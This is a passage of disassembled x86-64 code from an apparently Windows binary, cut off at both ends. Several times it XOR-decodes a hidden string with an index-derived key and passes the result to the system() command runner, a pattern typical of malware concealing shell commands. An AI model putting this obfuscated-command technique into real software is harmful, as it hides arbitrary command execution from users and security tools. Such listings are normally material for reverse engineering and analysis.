andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0xa0
jl 0x14000b130
jmp 0x14000b273
lea r9, [rbp + 0x30c0]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa0
jl 0x14000b240
lea rcx, [rbp + 0x30c0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009e710]
movups xmmword [rbp + 0x1080], xmm0
movups xmm0, xmmword [0x14009e730]
movups xmmword [rbp + 0x10a0], xmm0
movups xmm0, xmmword [0x14009e750]
movups xmm1, xmmword [0x14009e720]
movups xmmword [rbp + 0x10c0], xmm0
movups xmmword [rbp + 0x1090], xmm1
mov eax, dword [0x14009e7a8]
movups xmm0, xmmword [0x14009e770]
movups xmm1, xmmword [0x14009e740]
mov dword [rbp + 0x1118], eax
movups xmmword [rbp + 0x10e0], xmm0
movups xmmword [rbp + 0x10b0], xmm1
movzx eax, word [0x14009e7ac]
movups xmm0, xmmword [0x14009e790]
movups xmm1, xmmword [0x14009e760]
mov word [rbp + 0x111c], ax
movups xmmword [rbp + 0x1100], xmm0
movups xmmword [rbp + 0x10d0], xmm1
movzx eax, byte [0x14009e7ae]
movsd xmm0, qword [0x14009e7a0]
movups xmm1, xmmword [0x14009e780]
mov byte [rbp + 0x111e], al
movsd qword [rbp + 0x1110], xmm0
movups xmmword [rbp + 0x10f0], xmm1
mov r8d, esi
cmp r15d, 2
jl 0x14000b489
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1084]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x14000b380
cmp r8d, 0x9f
jge 0x14000b4d3
movsxd rax, r8d
lea r9, [rbp + 0x1080]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9f
jl 0x14000b4a0
lea rcx, [rbp + 0x1080]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbx + 0x9e4c0]
lea rdx, [rbp + 0x3360]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm1
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx + 0x10], xmm1
mov rax, qword [rcx + 0xa0]
mov qword [rdx + 0x20], rax
mov eax, dword [rcx + 0xa8]
mov dword [rdx + 0x28], eax
movzx eax, byte [rcx + 0xac]
mov byte [rdx + 0x2c], al
mov r8d, esi
cmp r15d, 2
jl 0x14000b6b9
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x3364]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa8
jl 0x14000b5b0
cmp r8d, 0xad
jge 0x14000b703
movsxd rax, r8d
lea r9, [rbp + 0x3360]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xad
jl 0x14000b6d0
lea rcx, [rbp + 0x3360]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm1, xmmword [0x14009de90]
movups xmm0, xmmword [0x14009de80]
movups xmmword [rbp + 0x1dc0], xmm1
movups xmmword [rbp + 0x1db0], xmm0
movups xmm1, xmmword [0x14009deb0]
movups xmm0, xmmword [0x14009dea0]
movups xmmword [rbp + 0x1de0], xmm1
movups xmmword [rbp + 0x1dd0], xmm0
movups xmm1, xmmword [0x14009ded0]
movups xmm0, xmmword [str.dj_g3l8____ut_2:19:t]
movups xmmword [rbp + 0x1e00], xmm1
movups xmmword [rbp + 0x1df0], xmm0
movzx eax, byte [0x14009df00]
movups xmm1, xmmword [0x14009def0]
movups xmm0, xmmword [0x14009dee0]
mov byte [rbp + 0x1e30], al
movups xmmword [rbp + 0x1e20], xmm1
movups xmmword [rbp + 0x1e10], xmm0
mov r8d, esi
cmp r15d, 2
jl 0x14000b8e9
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1db4]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x14000b7e0
cmp r8d, 0x81
jge 0x14000b933
movsxd rax, r8d
lea r9, [rbp + 0x1db0]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x81
jl 0x14000b900
lea rcx, [rbp + 0x1db0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009cf30]
movups xmmword [rbp + 0x2540], xmm0
movups xmm0, xmmword [0x14009cf50]
movups xmm1, xmmword [0x14009cf40]
movups xmmword [rbp + 0x2560], xmm0
movups xmmword [rbp + 0x2550], xmm1
movups xmm0, xmmword [str.0_43]
movups xmm1, xmmword [0x14009cf60]
movups xmmword [rbp + 0x2580], xmm0
movups xmmword [rbp + 0x2570], xmm1
movups xmm0, xmmword [0x14009cf90]
movups xmm1, xmmword [0x14009cf80]
movups xmmword [rbp + 0x25a0], xmm0
movups xmmword [rbp + 0x2590], xmm1
mov eax, dword [0x14009cfc0]
movups xmm0, xmmword [0x14009cfb0]
movups xmm1, xmmword [0x14009cfa0]
mov dword [rbp + 0x25d0], eax
movups xmmword [rbp + 0x25c0], xmm0
movups xmmword [rbp + 0x25b0], xmm1
mov r8d, esi
cmp r15d, 2
jl 0x14000bb1b
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2544]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x14000ba12
cmp r8d, 0x94
jge 0x14000bb63
movsxd rax, r8d
lea r9, [rbp + 0x2540]
add r9, rax
nop dword [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x94
jl 0x14000bb30
lea rcx, [rbp + 0x2540]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009cdf0]
movups xmmword [rbp + 0x1ba0], xmm0
movups xmm0, xmmword [0x14009ce10]
movups xmm1, xmmword [0x14009ce00]
movups xmmword [rbp + 0x1bc0], xmm0
movups xmmword [rbp + 0x1bb0], xmm1
movups xmm0, xmmword [0x14009ce30]
movups xmm1, xmmword [0x14009ce20]
movups xmmword [rbp + 0x1be0], xmm0
movups xmmword [rbp + 0x1bd0], xmm1
mov eax, dword [0x14009ce80]
movups xmm0, xmmword [0x14009ce50]
movups xmm1, xmmword [0x14009ce40]
mov dword [rbp + 0x1c30], eax
movups xmmword [rbp + 0x1c00], xmm0
movups xmmword [rbp + 0x1bf0], xmm1
movzx eax, word [0x14009ce84]
movups xmm0, xmmword [0x14009ce70]
movups xmm1, xmmword [0x14009ce60]
mov word [rbp + 0x1c34], ax
movups xmmword [rbp + 0x1c20], xmm0
movups xmmword [rbp + 0x1c10], xmm1
mov r8d, esi
cmp r15d, 2
jl 0x14000bd59
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1ba4]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x14000bc50
cmp r8d, 0x96
jge 0x14000bda3
movsxd rax, r8d
lea r9, [rbp + 0x1ba0]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x96
jl 0x14000bd70
lea rcx, [rbp + 0x1ba0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009d700]
movups xmmword [rbp + 0x1c40], xmm0
movups xmm0, xmmword [0x14009d720]
movups xmm1, xmmword [0x14009d710]
movups xmmword [rbp + 0x1c60], xmm0
movups xmmword [rbp + 0x1c50], xmm1
movups xmm0, xmmword [0x14009d740]
movups xmm1, xmmword [0x14009d730]
movups xmmword [rbp + 0x1c80], xmm0
movups xmmword [rbp + 0x1c70], xmm1
mov eax, dword [0x14009d790]
movups xmm0, xmmword [0x14009d760]
movups xmm1, xmmword [0x14009d750]
mov dword [rbp + 0x1cd0], eax
movups xmmword [rbp + 0x1ca0], xmm0
movups xmmword [rbp + 0x1c90], xmm1
movzx eax, word [0x14009d794]
movups xmm0, xmmword [0x14009d780]
movups xmm1, xmmword [0x14009d770]
mov word [rbp + 0x1cd4], ax
movups xmmword [rbp + 0x1cc0], xmm0
movups xmmword [rbp + 0x1cb0], xmm1
mov r8d, esi
cmp r15d, 2
jl 0x14000bf99
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1c44]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x14000be90
cmp r8d, 0x96
jge 0x14000bfe3
movsxd rax, r8d
lea r9, [rbp + 0x1c40]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x96
jl 0x14000bfb0
lea rcx, [rbp + 0x1c40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm1, xmmword [0x14009e960]
movups xmm0, xmmword [0x14009e950]
movups xmmword [rbp + 0x2100], xmm1
movups xmmword [rbp + 0x20f0], xmm0
movups xmm1, xmmword [0x14009e980]
movups xmm0, xmmword [0x14009e970]
movups xmmword [rbp + 0x2120], xmm1
movups xmmword [rbp + 0x2110], xmm0
movups xmm1, xmmword [0x14009e9a0]
movups xmm0, xmmword [0x14009e990]
movups xmmword [rbp + 0x2140], xmm1
movups xmmword [rbp + 0x2130], xmm0
mov eax, dword [0x14009e9d0]
movups xmm1, xmmword [0x14009e9c0]
movups xmm0, xmmword [0x14009e9b0]
mov dword [rbp + 0x2170], eax
movups xmmword [rbp + 0x2160], xmm1
movups xmmword [rbp + 0x2150], xmm0
mov r8d, esi
cmp r15d, 2
jl 0x14000c1c9
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x20f4]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x14000c0c0
cmp r8d, 0x84
jge 0x14000c213
movsxd rax, r8d
lea r9, [rbp + 0x20f0]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x84
jl 0x14000c1e0
lea rcx, [rbp + 0x20f0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009d370]
movups xmmword [rbp + 0xd60], xmm0
movups xmm0, xmmword [0x14009d390]
movups xmmword [rbp + 0xd80], xmm0
movups xmm0, xmmword [0x14009d3b0]
movups xmm1, xmmword [0x14009d380]
movups xmmword [rbp + 0xda0], xmm0
movups xmmword [rbp + 0xd70], xmm1
mov eax, dword [0x14009d3e8]
movups xmm0, xmmword [0x14009d3d0]
movups xmm1, xmmword [0x14009d3a0]
mov dword [rbp + 0xdd8], eax
movups xmmword [rbp + 0xdc0], xmm0
movups xmmword [rbp + 0xd90], xmm1
movzx eax, byte [0x14009d3ec]
movsd xmm0, qword [0x14009d3e0]
movups xmm1, xmmword [0x14009d3c0]
mov byte [rbp + 0xddc], al
movsd qword [rbp + 0xdd0], xmm0
movups xmmword [rbp + 0xdb0], xmm1
mov r8d, esi
cmp r15d, 2
jl 0x14000c403
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xd64]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x14000c300
cmp r8d, 0x7d
jge 0x14000c440
movsxd rax, r8d
lea r9, [rbp + 0xd60]
add r9, rax
mov eax, 0x51eb851f
imul r8d
